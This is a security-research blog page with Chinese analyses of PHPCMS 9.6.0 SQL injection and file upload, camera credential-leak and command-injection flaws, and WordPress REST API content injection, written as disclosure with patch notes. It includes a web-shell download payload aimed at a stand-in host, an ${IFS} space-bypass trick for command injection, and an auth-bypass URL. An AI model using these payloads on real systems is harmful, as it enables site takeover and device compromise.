RSS Feed
更好更安全的互联网
  • PHPCMS v9.6.0 wap模块 SQL注入

    2017-04-13

    Author: p0wd3r (知道创宇404安全实验室)
    Date: 2017-04-13

    0x00 漏洞概述

    漏洞简介

    昨天 phpcms 发布了 9.6.1 版本,这次补丁中修复了两个安全漏洞(任意文件上传和SQL注入), 相比于任意文件上传,这个 SQL 注入虽然没那么简单粗暴,但攻击思路还是值得我们学习。

    漏洞影响

    SQL 注入
    版本:9.6.0

    0x01 漏洞复现

    首先我们看phpcms/modules/attachment/attachments.php中的swfupload_json函数:

    swfupload.png

    这里用safe_repalce过滤输入,跟进这个函数:

    safe_replace.png

    函数将敏感字符替换为空,但问题是只执行一次,所以当输入是%*27*被过滤,进而可以得到%27

    回到swfupload_json中,safe_replace处理后,程序使用json_encode+ set_cookie生成加密的 Cookie。也就是说利用swfupload_json我们可以构造一个含有%27等 payload 的加密值。

    不过执行swfupload_json需要一点条件,我们看构造函数:

    construct.png

    如果$this->userid不为空我们才可以继续执行。$this->useridsys_auth($_POST['userid_flash'], 'DECODE')的值有关,并且程序并没有检查$this->userid的有效性,所以只要传入的userid_flash是个合法的加密值就可以通过检测进而使用swfupload_json了。那么如何获取一个合法加密值呢?

    这就来到了phpcms/modules/wap/index.php中:

    wap.png

    在 wap 模块的构造函数中程序根据siteid生成了一个加密 Cookie,生成的值我们是可以通过响应头获取到的。

    至此,我们可以通过以下两个步骤获得一个含有 payload 的加密值:

    1. 访问 wap 模块得到一个普通的加密 Cookie

    userid.png

    1. 将上面得到的加密 Cookie 作为userid_flash的值,带上 payload 访问swfupload_json

    encode_payload.png

    得到含有 payload 的加密值之后,我们继续找哪里可以用到这个值。 我们看phpcms/modules/content/down.php

    down.png

    这里用sys_auth解密输入的a_k,然后使用parse_strhttp://php.net/manual/zh/function.parse-str.php )处理a_k,该函数的作用简单来说就是以&分隔符,解析并注册变量。通过 IDE 的提示我们可以看到在静态的情况下$id是未初始化的,所以我们可以通过parse_str注册$id进而将可控数据带入查询,另外parse_str可以进行 URL 解码,所以之前我们得到的%27也就被解码成了真正可以利用的'。(parse_str还可能导致变量覆盖的问题,详见 https://github.com/80vul/pasc2at

    所以整个攻击流程如下:

    1. 通过 wap 模块构造含有 payload 的加密值
    2. 将加密值作为a_k的值访问down.phpinit函数

    攻击效果如图:

    poc.png

    0x02 补丁分析

    patch.png

    a_k进行过滤,并且对id进行类型转换。

    0x03 参考

    作者:dawu | Categories:安全研究技术分享 | Tags:
  • PHPCMS v9.6.0 任意文件上传漏洞分析

    2017-04-12

    Author: p0wd3r (知道创宇404安全实验室)
    Date: 2017-04-12

    0x00 漏洞概述

    漏洞简介

    前几天 phpcms v9.6 的任意文件上传的漏洞引起了安全圈热议,通过该漏洞攻击者可以在未授权的情况下任意文件上传,影响不容小觑。phpcms官方今天发布了9.6.1版本,对漏洞进行了补丁修复.

    漏洞影响

    任意文件上传

    0x01 漏洞复现

    本文从 PoC 的角度出发,逆向的还原漏洞过程,若有哪些错误的地方,还望大家多多指教。

    首先我们看简化的 PoC :

    可以看到 PoC 是发起注册请求,对应的是phpcms/modules/member/index.php中的register函数,所以我们在那里下断点,接着使用 PoC 并开启动态调试,在获取一些信息之后,函数走到了如下位置:

    /register_func.png

    通过 PoC 不难看出我们的 payload 在$_POST['info']里,而这里对$_POST['info']进行了处理,所以我们有必要跟进。

    在使用new_html_special_chars<>进行编码之后,进入$member_input->get函数,该函数位于caches/caches_model/caches_data/member_input.class.php中,接下来函数走到如下位置:

    /get_func.png

    由于我们的 payload 是info[content],所以调用的是editor函数,同样在这个文件中:

    /editor_func.png

    接下来函数执行$this->attachment->download函数进行下载,我们继续跟进,在phpcms/libs/classes/attachment.class.php中:

    函数中先对$value中的引号进行了转义,然后使用正则匹配:

    这里正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),我们的 payload (<img src=http://url/shell.txt?.php#.jpg>)符合这一格式(这也就是为什么后面要加.jpg的原因)。

    接下来程序使用这行代码来去除 url 中的锚点:$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);,处理过后$remotefileurls的内容如下:

    /remotefileurls.png

    可以看到#.jpg被删除了,正因如此,下面的$filename = fileext($file);取的的后缀变成了php,这也就是 PoC 中为什么要加#的原因:把前面为了满足正则而构造的.jpg过滤掉,使程序获得我们真正想要的php文件后缀。

    我们继续执行:

    /copy_func.png

    程序调用copy函数,对远程的文件进行了下载,此时我们从命令行中可以看到文件已经写入了:

    /shell.png

    shell 已经写入,下面我们就来看看如何获取 shell 的路径,程序在下载之后回到了register函数中:

    /status.png

    可以看到当$status > 0时会执行 SQL 语句进行 INSERT 操作,具体执行的语句如下:

    /sql.png

    也就是向v9_member_detailcontentuserid两列插入数据,我们看一下该表的结构:

    /desc.png

    因为表中并没有content列,所以产生报错,从而将插入数据中的 shell 路径返回给了我们:

    /error_path.png

    上面我们说过返回路径是在$status > 0时才可以,下面我们来看看什么时候$status <= 0,在phpcms/modules/member/classes/client.class.php中:

    /status_code.png

    几个小于0的状态码都是因为用户名和邮箱,所以在 payload 中用户名和邮箱要尽量随机。

    另外在 phpsso 没有配置好的时候$status的值为空,也同样不能得到路径。

    在无法得到路径的情况下我们只能爆破了,爆破可以根据文件名生成的方法来爆破:

    /getname.png

    仅仅是时间加上三位随机数,爆破起来还是相对容易些的。

    0x02 补丁分析

    phpcms 今天发布了9.6.1版本,针对该漏洞的具体补丁如下:

    /patch.png

    在获取文件扩展名后再对扩展名进行检测

    0x03 参考

    作者:dawu | Categories:安全研究技术分享 | Tags:
  • 国内某厂商摄像头敏感信息泄露漏洞事件分析

    2017-03-27

    PDF 版报告下载: 国内某厂商摄像头敏感信息泄露事件分析
    English Version: Webcam Sensitive Information Disclosure Vulnerability Analysis

    Author:知道创宇404实验室
    Date:2017/03/21

    1. 事件概述

    国内某家监控产品供应商和解决方案服务商旗下有多款监控摄像机以及相关的配套设备。2017年3月5日,知道创宇旗下漏洞平台Seebug[0]上收录了一位名为“bashis”的国外安全研究员发布了一个漏洞公告,声称该厂商科技的多款摄像头存在“backdoor”漏洞[1]。随即在2017年3月6日该厂商官方在发布漏洞公告称(Security-Bulletin_030617)里确认了该漏洞存在并发布了最新的固件里修复了该漏洞。

    知道创宇404实验室通过研究分析成功复现了该漏洞,确定该漏洞是一个敏感信息泄露漏洞。攻击者无需任何凭证的情况下访问一个链接即可得到摄像头设备Web管理的用户名和哈希密码等信息泄露:

    攻击者通过这个泄露的用户名和哈希密码可直接控制管理该摄像头设备。随后知道创宇404实验室通过”ZoomEye 网络空间搜索引擎”[3]并于3月19日对全网进行探测。3月19日的数据结果显示互联网上仍然有20多万的摄像头设备存在该漏洞,并可能影响到除某厂商品牌外的其他多个品牌摄像头设备。

    2. 漏洞影响范围

    2.1 设备总量

    我们使用ZoomEye提供的默认Dork(搜索条件),可以发现ZoomEye网络空间搜索引擎历史上收集了174.4万某厂商摄像头相关的IP数据[4]

    https://www.zoomeye.org/search?t=host&q=app%3A%22Dahua+Web+Camera+Server%22

    2.2 受漏洞影响的风险设备的数量

    针对知道创宇404安全实验室于3月19日通过对ZoomEye网络空间引擎对全球进行探测结果显示距离某厂商官方于3月6日发布升级公告后(13天)全球仍然有20.6万设备存在该信息泄露漏洞。以下是针对风险设备的统计和分析。

    2.2.1 风险设备的地区分布

    由下图可见,风险设备分布在全球178个国家中。在全世界范围内,美国、欧洲、非洲以及南亚地区的风险设备数量较多。而中国区域内,北京、上海、广州、南京和哈尔滨这几个城市风险设备最多。

    2.2.2 风险设备的端口分布

    在实际的探测中,我们发现风险摄像头的Web服务开在了不同的端口,除此以外还有各种其他的端口开放。根据统计,共有248个端口开放在互联网上,下图是数量最多的十个端口。由下图可见,大多数服务还是开放在80端口,但是也有很多安装、运维人员将端口修改到了其他端口,这样的行为在一定程度上是能够增加设备的安全性的。

    2.2.3 风险设备的品牌分布

    针对这些存在漏洞的设备尝试进行进一步分析,我们提取了这些设备服务器上的favicon.ico的MD5值校验,总共发现了以下五组MD5值及对应数量:

    注:另有496个设备不存在favicon.ico文件

    我们分别选取了5组md5里的部分目标进行实际访问及网页代码分析发现,这五组md5的网页代码都基本相似,在相关的JavaScript脚本代码里都存在“3.0-Web3.0”字符串,主要的区别是在WEB管理登录页面图片不一样。如:

    我们注意到“bd9e17c46bbbc18af2a2bd718dddad0e”组的品牌摄像头数据量多达197634,远远超过了其他4组的数据,这些设备的登录页面截图如下:

    没有看到明确的“品牌”提示,于是我们通过谷歌得搜索找到如下网页[5]
    https://www.worldeyecam.com/blog/technical-questions/configuring-ntp-imaxcampro.html 关联到一个叫“imaxcampro”的品牌摄像头。

    根据以上分析,我们大胆的推测5组不同的favicon.ico文件md5-hash的品牌的摄像头设备基于某厂商设备修改而来,具体发布如下[6][7][8][9]

    针对排名最多的疑似叫“imaxcampro”的品牌摄像头继续进行了全球地区分布统计:

    可以看出这些设备主要分布在美欧及亚洲的韩国印度等海外市场。

    3. 检测与修复

    检查方法:

    由于该漏洞影响较大发布检测工具可能导致漏洞细节的泄露,另漏洞发现者在漏洞公告当天就删除了相关漏洞验证程序,所以这里暂时不提供相关检测程序。对于使用上述品牌摄像头需要检查相关设备安全的单位或组织,请与知道创宇404实验室联系。

    修复方法:

    针对该漏洞厂商官方在3月6日就发布了相关的漏洞公告、影响设备型号及升级方法 详见[2]
    http://us.dahuasecurity.com/en/us/Security-Bulletin_030617.php

    针对其他影响的品牌目前知道创宇404实验室正在积极联系相关厂商确认并协助修复相关漏洞。

    4. 结论

    在此次事件根据及分析过程中该漏洞被披露后某厂商公司随即进行了安全应急响应确认了漏洞并发布了相关公告及固件升级,从13天后的全球统计数据及品牌分析标注了dahua的品牌只占有109个,从这个角度来看说明某厂商公司的应急是有显著的效果的,同时也说明基于同一种产品不同品牌的设备影响还非常大。这个案例也反映了一个存在于IoT等设备安全现状:厂商或品牌的合作流程里目前广泛缺少了对应的“安全”流程,这显然已经成为IoT设备安全一个重要的“缺陷”。

    5. 参考链接

    [0]. Seebug漏洞平台 https://www.seebug.org
    [1]. 0-Day: Dahua backdoor Generation 2 and 3 https://www.seebug.org/vuldb/ssvid-92745
    [2]. Dahua Security Bulletin March 6, 2017 http://us.dahuasecurity.com/en/us/Security-Bulletin_030617.php
    [3]. ZoomEye 网络空间搜索引擎 https://www.zoomeye.org/
    [4]. ZoomEye 网络空间搜索引擎搜索某厂商相关摄像头设备 https://www.zoomeye.org/search?t=host&q=app%3A”Dahua+Web+Camera+Server”
    [5]. Configuring automatic time updating for iMaxCamPro DVRs and NVRs https://www.worldeyecam.com/blog/technical-questions/configuring-ntp-imaxcampro.html
    [6]. CRECREDIT TECH http://crecreditcctv.com/
    [7]. Hi-Focus http://hifocuscctv.com/
    [8]. Honeywell International Inc. https://www.honeywell.com/
    [9]. Worldeyecam, INC https://www.worldeyecam.com/about-us.html

    作者:dawu | Categories:安全研究技术分享 | Tags:
  • 抓住“新代码”的影子 —— 基于GoAhead系列网络摄像头多个漏洞分析

    2017-03-21

    Author :知道创宇404安全实验室

    Date:2017年03月19日 (注:本文首发自 paper.seebug.org) 

    PDF 版本下载:抓住“新代码”的影子 —— 基于GoAhead系列网络摄像头多个漏洞分析

     

    一、漏洞背景

    GoAhead作为世界上最受欢迎的嵌入式Web服务器被部署在数亿台设备中,是各种嵌入式设备与应用的理想选择。当然,各厂商也会根据不同产品需求对其进行一定程度的二次开发。

    2017年3月7日,Seebug漏洞平台收录了一篇基于GoAhead系列摄像头的多个漏洞。事件源于Pierre Kim在博客上发表的一篇文章,披露了存在于1250多个摄像头型号的多个通用型漏洞。作者在文章中将其中一个验证绕过漏洞归类为GoAhead服务器漏洞,但事后证明,该漏洞却是由厂商二次开发GoAhead服务器产生。于此同时,Pierre Kim将其中两个漏洞组合使用,成功获取了摄像头的最高权限。

    二、漏洞分析

    当我们开始着手分析这些漏洞时发现GoAhead官方源码不存在该漏洞,解开的更新固件无法找到对应程序,一系列困难接踵而至。好在根据该漏洞特殊变量名称loginuse和loginpas,我们在github上找到一个上个月还在修改的门铃项目。抓着这个“新代码”的影子,我们不仅分析出了漏洞原理,还通过分析结果找到了关于此漏洞的新的利用方式。

    由于该项目依赖的一些外部环境导致无法正常编译,我们仅仅通过静态代码分析得出结论,因此难免有所疏漏。如有错误,欢迎指正。:)

    1. 验证绕过导致的信息(登录凭据)泄漏漏洞

    根据作者给出的POC,我们进行了如下测试:

    可以看出,只要url中含有loginuseloginpas这两个值即无需验证。甚至当这两个值对应的账号密码为空或者为错误的zzzzzzzzzzzzzz时均可通过验证。

    看到这里,我们大致可以判断出验证loginuseloginpas的逻辑问题导致该漏洞的出现。于是,在此门铃项目中直接搜索loginuse定位到关键函数。

    /func/ieparam.c6407-6485AdjustUserPri函数如下:

    我们对其中步骤做了注释,根据这段逻辑,我们先通过GetStrParamValue()获取loginuseloginpas对应值,然后将获取值通过GetUserPri()函数进行验证。跟进GetStrParamValue()这个函数,我们发现了更奇怪的事情。command/cmd_thread.c中第13-51GetStrParamValue()函数如下:

    根据作者给出的PoC,在memcpy()函数处会导致崩溃,但事实上,我们的web服务器正常运行并返回system.ini具体内容。这一点令我们百思不得其解。当我们对AdjustUserPri()函数向上溯源时终于弄清楚是上层代码问题导致代码根本无法运行到这里,所以也不会导致崩溃。 func/ieparam.c文件第7514-7543行调用了AdjustUserPri()函数:

    在之前跟GetUserPri()函数时有一行注释://result:0->error user or passwd error 1->vistor 2->opration 255->admin。当我们回头再看这段函数时,可以发现开发者直接将验证部分注释掉,byPri被直接赋值为255,这就意味着只要进入这段逻辑,用户权限就直接是管理员了。这里已经可以解释本小节开篇进行的测试,也就是为什么我们输入空的用户名和密码或者错误的用户名和密码也可以通过验证。

    很遗憾,我们没有继续向上溯源找到这里的auth这个值到底是如何而来。不过根据这里的代码逻辑,我们可以猜测,当auth0时,通过GET请求中的参数验证用户名密码。当auth不为0时,通过HTTP摘要验证方式来验证用户名密码。

    再看一遍上方代码,GET请求中含有参数loginuseloginpas就直接可以通过验证。那么AdjustUserPri()函数中另外两个具有相同逻辑的参数userpwd呢?

    成功抓住"新代码"的影子。

    2. 远程命令执行漏洞一(需登录)

    作者给出的exp如下:

    可以看到,该exp分为两步,第一步先设置ftp各种参数,第二步按照第一步设置的各参数测试ftp链接,同时导致我们在第一步设置的命令被执行。

    我们在func/ieparam.c文件中找到了set_ftp.cgiftptest.cgi的调用过程:

    首先跟踪cgisetftp( pbuf, pparam, byPri );这个函数,我们发现,该函数仅仅是获取到我们请求的参数并将参数赋值给结构体中的各个变量。关键代码如下:

    综上所述,set_ftp.cgi仅仅是将我们请求的各参数写入全局变量中。 接下来是ftptest.cgi部分,也就是调用了iRet = cgisetftptest( pbuf, pparam, byPri );这个函数。在该函数中,最为关键的函数为DoFtpTest();。直接跳到func/ftp.c文件中找到函数DoFtpTest()

    可以看到,执行 FtpConfig()函数后运行了/tmp/ftpupdate1.sh。我们先看 FtpConfig()函数如何处理该问题:

    至此,逻辑很清晰了。在FtpConfig()函数中,将我们之前在设置的时候输入的各个值写入了/tmp/ftpupdate1.sh中,然后在DoFtpTest()中运行该脚本,导致最后的命令执行。这一点,同样可以在漏洞作者原文中得到证明:

    实际测试中,我们发现:如果直接用作者给出的exp去尝试RCE往往无法成功运行。从http://ip:port/get_params.cgi?user=username&pwd=password可以发现,我们注入的命令在空格处被截断。

    于是我们用${IFS}替换空格(还可以采用+代替空格):

    但由于有长度限制再次被截断,调整长度后最终成功执行命令:

    成功抓住新代码的影子。

    3. GoAhead绕过验证文件下载漏洞

    2017年3月9日,Pierre Kim在文章中增加了两个链接,描述了一个GoAhead 2.1.8版本之前的任意文件下载漏洞。攻击者通过使用该漏洞,再结合一个新的远程命令执行漏洞可以再次获取摄像头的最高权限。有意思的是,这个漏洞早在2004年就已被提出并成功修复http://aluigi.altervista.org/adv/goahead-adv2.txt)。但是由于众多摄像头仍然使用存在该漏洞的老代码,该漏洞仍然可以在众多摄像头设备中复现。

    我们也查找了此门铃项目中的GoAhead服务器版本。web/release.txt前三行内容如下:

    再仔细查看websUrlHandlerRequest()内容,发现并未对该漏洞进行修复,说明该漏洞也影响这个门铃项目。以此类推,本次受影响的摄像头应该也存在这个漏洞,果不其然:

    那么,具体的漏洞成因又是如何呢?让我们来跟进./web/LINUX/main.c了解该漏洞的成因。 initWebs()函数中,关键代码如下:

    其中,150-160um开头的函数为用户权限控制的相关函数。主要做了以下四件事情:

    1. umOpen() 打开用户权限控制;
    2. umAddGroup() 增加用户组adm,并设置该用户组用户使用HTTP摘要认证方式登录;
    3. umAddUser() 增加用户admin,admin0,admin1,并且这三个用户均属于adm用户组;
    4. umAddAccessLimit() 增加限制路径/,凡是以/开头的路径都要通过HTTP摘要认证的方式登录属于adm组的用户。

    紧接着,在220多行通过websUrlHandlerDefine()函数运行了两个HandlerwebsSecurityHandlerwebsDefaultHandler。在websSecurityHandler中,对HTTP摘要认证方式进行处理。关键代码如下:

    第86行,umGetAccessLimit()函数用于将我们请求的路径规范化,主要逻辑就是去除路径最后的/或者\\,确保我们请求的是一个文件。umGetAccessMethodForURL()函数用于获取我们请求的路径对应的权限。这里,我们请求的路径是system.ini。根据上文,设置需要对/路径需要进行HTTP摘要认证,由于程序判断system.ini不属于/路径,所以这里am为默认的AM_INVALID,即无需验证。

    紧接着向下,nRet初始化赋值为0.在118-242行中,如果出现了账号密码错误等情况,则会将nRet赋值为1,表示验证不通过。但是由于我们请求的路径无需验证,所以判断结束时nRet仍为0。因此,顺利通过验证,获取到对应的文件内容。

    就这样,我们再次抓住了这个“新代码”的影子。这个2004年的漏洞让我们不得不为新代码这三个字加上了双引号。

    4. 远程命令执行漏洞二(需登录)

    在Pierre Kim新增的两个链接中,还介绍了一种新的远程命令执行的方式,即通过set_mail.cgimailtest.cgi来执行命令。 与上一个远程命令执行漏洞一样,我们先在func/ieparam.c文件中找到set_mail.cgimailtest.cgi的调用过程:

    与上一个远程命令执行漏洞类似,cgisetmail()函数用于将各参数储存到结构体,例如sender参数赋值给bparam.stMailParam.szSenderreceiver1参数赋值给bparam.stMailParam.szReceiver1。 接着,来到了cgisetmailtest()函数:

    该函数第十行已被注释掉。这是使用此函数发送邮件证据的唯一可寻之处。虽然被注释掉了,我们也要继续跟踪DoMailTest()这个函数:

     

    可以看到sprintf( cmd, "echo \"mail test ok\" | /system/system/bin/mailx -r %s -s \"mail test\" %s",bparam.stMailParam.szSender, bparam.stMailParam.szReceiver1 ),发件人和收件人都直接被拼接成命令导致最后的命令执行。

    三、漏洞影响范围

    ZoomEye网络空间探测引擎探测结果显示,全球范围内共查询到78万条历史记录。我们根据这78万条结果再次进行探测,发现这些设备一共存在三种情况:

    • 第一种是设备不存在漏洞。
    • 第二种是设备存在验证绕过漏洞,由于web目录下无 system.ini,导致最终无法被利用。可以看到,当我们直接请求system.ini时显示需要认证,但当我们绕过验证之后却显示404 not found
    • 最后一种是设备既存在验证绕过漏洞,又存在system.ini文件。这些设备就存在被入侵的风险。

    我们统计了最后一种设备的数量。数据显示有近7万的设备存在被入侵的风险。这7万设备的国家分布图如下:

    可以看出,美国、中国、韩国、法国、日本均属于重灾区。我国一共有 7000 多台设备可能被入侵,其中近 6000 台位于香港。我们根据具体数据做成两张柱状图以便查看:

    (注:None为属于中国,但未解析出具体地址的IP)

    我们通过查询ZoomEye网络空间探测引擎历史记录导出2016年1月1日、2017年1月1日以及本报告编写日期2017年3月14日三个时间点的数据进行分析。

    在这三个时间点,我们分别收录了banner中含有GoAhead 5ccc069c403ebaf9f0171e9517f40e41的设备26万台、65万台和78万台。

    但对于这些IP而言,存在漏洞的设备增长趋势却完全不同。

    可以看到,2016年1月1日已探明的设备中目前仅有2000多台存在漏洞,2017年1月1日之前探明的设备中有近3万台存在漏洞,截至仅仅两个多月后的今天,已有近7万台设备存在漏洞。

    根据以上数据,我们可以做出如下判断:该漏洞出现时间大约是去年,直到今年被曝光之后才被大家所关注。在此期间,旧摄像头通过更新有漏洞固件的方式导致该漏洞的出现,而那些新生产的摄像头则被销往世界各地。根据今年新增IP地理位置,我们可以大致判断出这些存在漏洞的摄像头今年被销往何地。

    根据数据,我们可以看到,主要销往美国、中国、韩国、日本。中国新增了5316台存在漏洞的摄像头,其中4000多台位于香港。

    四、修复方案

    1.将存在漏洞的摄像头设备置于内网。
    2.及时升级到最新固件。
    3.对于可能被感染的设备,可以采取重启的方式来杀死驻留在内存中的恶意进程。

    五、参考链接

    1. https://www.seebug.org/vuldb/ssvid-92789
    2. https://www.seebug.org/vuldb/ssvid-92748
    3. https://pierrekim.github.io/blog/2017-03-08-camera-goahead-0day.html
    4. https://github.com/kuangxingyiqing/bell-jpg
    5. http://aluigi.altervista.org/adv/goahead-adv2.txt

    附录:Pierre Kim给出的受影响设备列表

    3G+IPCam Other
    3SVISION Other
    3com CASA
    3com Other
    3xLogic Other
    3xLogic Radio
    4UCAM Other
    4XEM Other
    555 Other
    7Links 3677
    7Links 3677-675
    7Links 3720-675
    7Links 3720-919
    7Links IP-Cam-in
    7Links IP-Wi-Fi
    7Links IPC-760HD
    7Links IPC-770HD
    7Links Incam
    7Links Other
    7Links PX-3615-675
    7Links PX-3671-675
    7Links PX-3720-675
    7Links PX3309
    7Links PX3615
    7Links ipc-720
    7Links px-3675
    7Links px-3719-675
    7Links px-3720-675
    A4Tech Other
    ABS Other
    ADT RC8021W
    AGUILERA AQUILERA
    AJT AJT-019129-BBCEF
    ALinking ALC
    ALinking Other
    ALinking dax
    AMC Other
    ANRAN ip180
    APKLINK Other
    AQUILA AV-IPE03
    AQUILA AV-IPE04
    AVACOM 5060
    AVACOM 5980
    AVACOM H5060W
    AVACOM NEW
    AVACOM Other
    AVACOM h5060w
    AVACOM h5080w
    Acromedia IN-010
    Acromedia Other
    Advance Other
    Advanced+home lc-1140
    Aeoss J6358
    Aetos 400w
    Agasio A500W
    Agasio A502W
    Agasio A512
    Agasio A533W
    Agasio A602W
    Agasio A603W
    Agasio Other
    AirLink Other
    Airmobi HSC321
    Airsight Other
    Airsight X10
    Airsight X34A
    Airsight X36A
    Airsight XC39A
    Airsight XX34A
    Airsight XX36A
    Airsight XX40A
    Airsight XX60A
    Airsight x10
    Airsight x10Airsight
    Airsight xc36a
    Airsight xc49a
    Airsight xx39A
    Airsight xx40a
    Airsight xx49a
    Airsight xx51A
    Airsight xx51a
    Airsight xx52a
    Airsight xx59a
    Airsight xx60a
    Akai AK7400
    Akai SP-T03WP
    Alecto 150
    Alecto Atheros
    Alecto DVC-125IP
    Alecto DVC-150-IP
    Alecto DVC-1601
    Alecto DVC-215IP
    Alecto DVC-255-IP
    Alecto dv150
    Alecto dvc-150ip
    Alfa 0002HD
    Alfa Other
    Allnet 2213
    Allnet ALL2212
    Allnet ALL2213
    Amovision Other
    Android+IP+cam IPwebcam
    Anjiel ip-sd-sh13d
    Apexis AH9063CW
    Apexis APM-H803-WS
    Apexis APM-H804-WS
    Apexis APM-J011
    Apexis APM-J011-Richard
    Apexis APM-J011-WS
    Apexis APM-J012
    Apexis APM-J012-WS
    Apexis APM-J0233
    Apexis APM-J8015-WS
    Apexis GENERIC
    Apexis H
    Apexis HD
    Apexis J
    Apexis Other
    Apexis PIPCAM8
    Apexis Pyle
    Apexis XF-IP49
    Apexis apexis
    Apexis apm-
    Apexis dealextreme
    Aquila+Vizion Other
    Area51 Other
    ArmorView Other
    Asagio A622W
    Asagio Other
    Asgari 720U
    Asgari Other
    Asgari PTG2
    Asgari UIR-G2
    Atheros ar9285
    AvantGarde SUMPPLE
    Axis 1054
    Axis 241S
    B-Qtech Other
    B-Series B-1
    BRAUN HD-560
    BRAUN HD505
    Beaulieu Other
    Bionics Other
    Bionics ROBOCAM
    Bionics Robocam
    Bionics T6892WP
    Bionics t6892wp
    Black+Label B2601
    Bravolink Other
    Breno Other
    CDR+king APM-J011-WS
    CDR+king Other
    CDR+king SEC-015-C
    CDR+king SEC-016-NE
    CDR+king SEC-028-NE
    CDR+king SEC-029-NE
    CDR+king SEC-039-NE
    CDR+king sec-016-ne
    CDXX Other
    CDXXcamera Any
    CP+PLUS CP-EPK-HC10L1
    CPTCAM Other
    Camscam JWEV-372869-BCBAB
    Casa Other
    Cengiz Other
    Chinavasion Gunnie
    Chinavasion H30
    Chinavasion IP611W
    Chinavasion Other
    Chinavasion ip609aw
    Chinavasion ip611w
    Cloud MV1
    Cloud Other
    CnM IP103
    CnM Other
    CnM sec-ip-cam
    Compro NC150/420/500
    Comtac CS2
    Comtac CS9267
    Conceptronic CIPCAM720PTIWL
    Conceptronic cipcamptiwl
    Cybernova Other
    Cybernova WIP604
    Cybernova WIP604MW
    D-Link DCS-910
    D-Link DCS-930L
    D-Link L-series
    D-Link Other
    DB+Power 003arfu
    DB+Power DBPOWER
    DB+Power ERIK
    DB+Power HC-WV06
    DB+Power HD011P
    DB+Power HD012P
    DB+Power HD015P
    DB+Power L-615W
    DB+Power LA040
    DB+Power Other
    DB+Power Other2
    DB+Power VA-033K
    DB+Power VA0038K
    DB+Power VA003K+
    DB+Power VA0044_M
    DB+Power VA033K
    DB+Power VA033K+
    DB+Power VA035K
    DB+Power VA036K
    DB+Power VA038
    DB+Power VA038k
    DB+Power VA039K
    DB+Power VA039K-Test
    DB+Power VA040
    DB+Power VA390k
    DB+Power b
    DB+Power b-series
    DB+Power extcams
    DB+Power eye
    DB+Power kiskFirstCam
    DB+Power va033k
    DB+Power va039k
    DB+Power wifi
    DBB IP607W
    DEVICECLIENTQ CNB
    DKSEG Other
    DNT CamDoo
    DVR DVR
    DVS-IP-CAM Other
    DVS-IP-CAM Outdoor/IR
    Dagro DAGRO-003368-JLWYX
    Dagro Other
    Dericam H216W
    Dericam H502W
    Dericam M01W
    Dericam M2/6/8
    Dericam M502W
    Dericam M601W
    Dericam M801W
    Dericam Other
    Digix Other
    Digoo BB-M2
    Digoo MM==BB-M2
    Digoo bb-m2
    Dinon 8673
    Dinon 8675
    Dinon SEGEV-105
    Dinon segev-103
    Dome Other
    Drilling+machines Other
    E-Lock 1000
    ENSIDIO IP102W
    EOpen Open730

     

     

     

     

    作者:kk | Categories:安全研究技术分享 | Tags:
  • WordPress REST API 内容注入漏洞事件分析报告

    2017-03-01

    作者:知道创宇404安全实验室

    报告发布日期:2017年02月28日 (注:本文首发自 paper.seebug.org) 

     

    PDF 版报告下载:WordPress REST API 内容注入漏洞事件分析报告

    English Version:WordPress REST API Content Injection Vulnerability Incident Analysis Report

     

    一、事件概述

     

    1 漏洞简介:

    WordPress是一个以PHP和MySQL为平台的自由开源的博客软件和内容管理系统。在4.7.0版本后,REST API插件的功能被集成到 WordPress 中,由此也引发了一些安全性问题。近日,一个由 REST API 引起的影响 WordPress 4.7.0和4.7.1版本的漏洞被披露,该漏洞可以导致 WordPress 所有文章内容可以未经验证被查看、修改、删除,甚至创建新的文章,危害巨大。

    2017年2月11日,知道创宇404安全实验室使用 ZoomEye 网络空间探测引擎进行扫描探测后发现,受该漏洞影响的网站仍然有15361个,其中有9338个网站已经被黑客入侵并留下了组织代号。我们针对组织代号进行统计,共发现八十余种代号。

    我们使用 ZoomEye 网络空间搜索引擎搜索 "app:WordPress ver:4.7.1" ,获得36603条结果。以下是 https://www.zoomeye.org/search?t=web&q=app%3AWordPress+ver%3A4.7.1的搜索结果:

    2 漏洞影响:

    导致 WordPress 所有文章内容可以未经验证被查看、修改、删除,甚至创建新的文章,危害巨大。

    3 影响版本:

    • WordPress 4.7.0
    • WordPress 4.7.1

     

    二、时间线

     

    三、漏洞验证与分析

    1 漏洞验证:

    PoC:

    Seebug 已给出详细的复现过程,在此过程中可以使用 Seebug 收录的 PoC 来进行测试。 https://www.seebug.org/vuldb/ssvid-92637

    漏洞验证扫描插件: Seebug 已更新 WordPress REST API 内容注入漏洞扫描插件。
    https://www.seebug.org/monster/ )

     

    简单复现过程:

    安装 WordPress存在漏洞版本并配置 REST API 以及 Apache+PHP+Mysql 的运行环境。加载 Apache 的 rewrite 模块以及主配置文件配置如下图:

    设置 WordPress 站点为固定链接:

    构造数据包:可以看到不存在任何验证信息,提示不允许编辑文章:

    构造可利用数据包:当 url 为 /wp-json/wp/v2/posts/1?id=1a 时,可以看到成功跳过验证获取文章内容:

    木马后门插入:

    需要安装如 insert_php , exec_php 等允许页面执行PHP 代码的插件。 可以构造数据包如下:

    上传后木马后门被插件当做 PHP 代码执行,网站被植入后门。

    2 漏洞分析:

    Seebug Paper (http://paper.seebug.org/208/ )已经发表了关于此漏洞的详细分析,以此作为参考。

    首先,在 ./wp-includes/rest-api/endpoints/class-wp-rest-posts-controller.php中,

    这里对路由进行了正则限制,防止攻击者恶意构造 id 值,但是我们可以发现 $get 和 $post值优先于路由正则表达式生成的值。

    接下来在 update_item 方法及其权限检查函数update_item_permissions_check 中:

    可以看出,当我们发送一个没有响应文章的 id 时,可以通过权限检查并允许继续执行对 update_item 方法的请求。具体到代码就是让 $post 为空来绕过权限检查。

    至于如何使 $post 为空,可跟进至 get_post 方法,发现其使用 wp_posts 中的 get_instance 静态方法获取文章:

    当我们传入的id 不是全由数字字符组成时返回 false,从而 get_post 方法返回null,接着绕过权限检查。 回头再看可执行方法 upload_item

    这里 $id 这个参数做了类型转化传递给 get_post ,而PHP类型转换时会出现这种情况:

    也就是说攻击者发起 /wp-json/wp/v2/posts/1?id=1hhh 的请求就是发起了对id 为1的文章的请求。

    3 漏洞修复:

    在 /wp-includes/class-wp-post.php 中:

    更改了对于 $post_id 的参数的传入顺序和判断条件,防止我们传入“数字+字母”这样的格式进行绕过。

     

    四、漏洞影响分布

     

    第一次扫描探测结果:

    我们于 2017/02/11 对全球的 WordPress 网站进行了扫描探测,发现当时仍旧受影响的 WordPress 网站共有 15361个。

